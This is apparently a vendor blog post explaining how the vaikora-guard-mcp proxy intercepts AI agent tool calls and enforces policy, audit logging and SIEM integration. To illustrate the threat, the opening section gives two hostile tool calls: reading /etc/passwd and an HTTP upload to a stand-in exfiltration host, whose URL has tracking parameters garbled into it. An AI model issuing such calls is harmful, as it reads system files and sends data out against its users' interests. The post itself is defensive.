VaikoraVaikora

Vaikora › Blog › Product Updates

Tool call policy enforcement in 30 lines of Python: what vaikora-guard-mcp actually does at the wire level

Product Updates · Nov 19, 2026 · 4 min read

Most MCP servers pass tool calls straight through to execution. `vaikora-guard-mcp` intercepts each call before it runs and applies a policy decision: allow, block, modify, or hold for human approval. Here is what that means in practice, at the code and protocol level.

The problem a bare MCP server leaves open

The Model Context Protocol gives an AI agent a standard way to discover and invoke tools. What it does not define is any enforcement layer. An agent that decides to call `read_file("/etc/passwd")` or `http_get("https://exfil.example.com/upload%22?utm_source=vaikora&utm_medium=social&utm_campaign=content_agent&utm_content=draft_11346)` will, by default, have that call forwarded without inspection.

The gap is not theoretical. An agent reasoning over a customer database might construct a tool call that reads far more records than the task requires. A coding agent might call a shell tool with arguments that were injected through prompt manipulation. The model itself has no reliable way to catch this, and the tool server has no policy context. Something has to sit in between.

What the proxy actually does

`vaikora-guard-mcp` is a Python package, published on PyPI as `vaikora-guard-mcp`, MIT licensed, and self-hosted. It runs as a proxy between your MCP client (the agent runtime) and the upstream MCP tool server.

When an agent issues a tool call, the proxy:

  1. Receives the JSON-RPC request before it reaches the tool server.
  2. Passes the tool name, arguments, and any configured context to the policy engine.
  3. Gets back a deterministic decision: allow, block, modify, or require-approval.
  4. Either forwards the call, rewrites it, holds it for a human, or returns a policy-block response to the agent.

Identical input always produces an identical decision. There is no probabilistic scoring that might allow the same call through on a retry. The policy rules are explicit conditions, not model outputs.

Every decision is written into a SHA-256 hash-chained audit log. Each entry is signed into the chain, so any post-hoc modification to the log is detectable. This matters for compliance teams who need to show what an agent did and when, in a form that cannot be quietly edited.

A concrete scenario

Say you have a research agent that can call a `web_fetch` tool. You want to block calls to any URL outside an approved domain list, and you want any call to a URL flagged as malicious by threat intelligence to be blocked and surfaced immediately.

With `vaikora-guard-mcp` in front of the tool server, you write a policy rule that checks the `url` argument of `web_fetch` against your allow-list and against the Vaikora threat intelligence feed. A call to an approved domain passes through unchanged. A call to an unlisted domain gets a block decision returned to the agent before the network request is ever made. A call to a known-malicious URL gets blocked and written to the audit log as a high-severity event.

The agent receives a structured error response. It does not get a network timeout or a silent failure. You get a tamper-evident record of the attempt.

What you need to wire it in

The package runs alongside any MCP-compatible agent framework. Because it is MCP-native, there is no SDK migration and no instrumentation of the model itself.

The enforcement latency at P50 is 8ms and at P99 is 45ms, so the proxy does not materially change the user-visible response time for most tool calls.

The control plane layer

The open-source package handles enforcement at the proxy. The Vaikora Control Plane, hosted by Data443, is where you manage policy centrally across multiple agents and environments, view the audit log across your fleet, and configure the SIEM integrations: Microsoft Sentinel, SentinelOne, CrowdStrike Falcon, and AWS Security Hub. It also ships compliance presets for HIPAA, PCI-DSS, GDPR, SOC 2, and ISO 27001 so you are not writing policy rules from scratch against each framework.

The open-source layer and the control plane are designed to be used together, but the proxy enforces policy locally regardless of control plane connectivity.

What to check next

If you are evaluating this for a production agent deployment, the most useful starting point is the `vaikora-guard-mcp` repository on PyPI. Read the policy schema before writing your first rule: understanding which fields are available on each tool call (tool name, arguments by key, calling agent identity, session context) will determine how precisely you can write conditions. Then map your highest-risk tool types (file access, outbound HTTP, shell execution, database queries) and write a policy rule for each before the agents go into any environment with real data.

See Vaikora enforce policy on your AI

Open-core AI runtime control. Self-host the MIT gateway free, or run the hosted Control Plane.

Get a demo Self-host the gateway

More from the Vaikora blog